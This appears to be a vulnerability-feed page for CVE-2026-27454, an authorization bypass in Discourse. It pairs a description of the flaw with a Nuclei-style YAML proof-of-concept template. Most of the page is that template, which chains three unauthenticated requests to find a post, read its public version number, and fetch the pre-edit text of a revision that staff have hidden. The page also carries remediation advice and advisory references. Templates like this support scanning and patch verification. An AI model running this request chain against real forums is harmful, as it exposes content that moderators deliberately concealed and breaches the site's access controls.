CVE-2026-27454: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass

2026-09-16 Unknown PoC Public

Description

Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.

PoC

id: CVE-2026-27454

info:
  name: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass
  author: str4k3r
  severity: medium
  description: |
    Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.
  impact: |
    An unauthenticated visitor can retrieve the contents of a hidden post revision that moderators intended to conceal from public viewers.
  remediation: |
    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96
    - https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27454
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-27454
    epss-score: 0.00893
    epss-percentile: 0.57684
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: discourse
    product: discourse
  tags: cve,cve2026,discourse,idor,exposure,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /posts.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "latest_posts")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: post_id
        part: body
        internal: true
        group: 1
        regex:
          - '"latest_posts":\[\{"id":(\d+)'

  - raw:
      - |
        GET /posts/{{post_id}}.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"version\"")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: pub_version
        part: body
        internal: true
        group: 1
        regex:
          - '"version":(\d+)'

  - raw:
      - |
        GET /posts/{{post_id}}.json?version={{pub_version}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - '!contains(body, "invalid_access")'
          - 'contains(body, "\"cooked\"")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022066626875826d937ad4a2a6f863f46aec84725e7d1828888116be2e6baac372c0022100dddabd1e44f4f631e94e1697ae080c407c11cde926de991511ff026783927cbb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.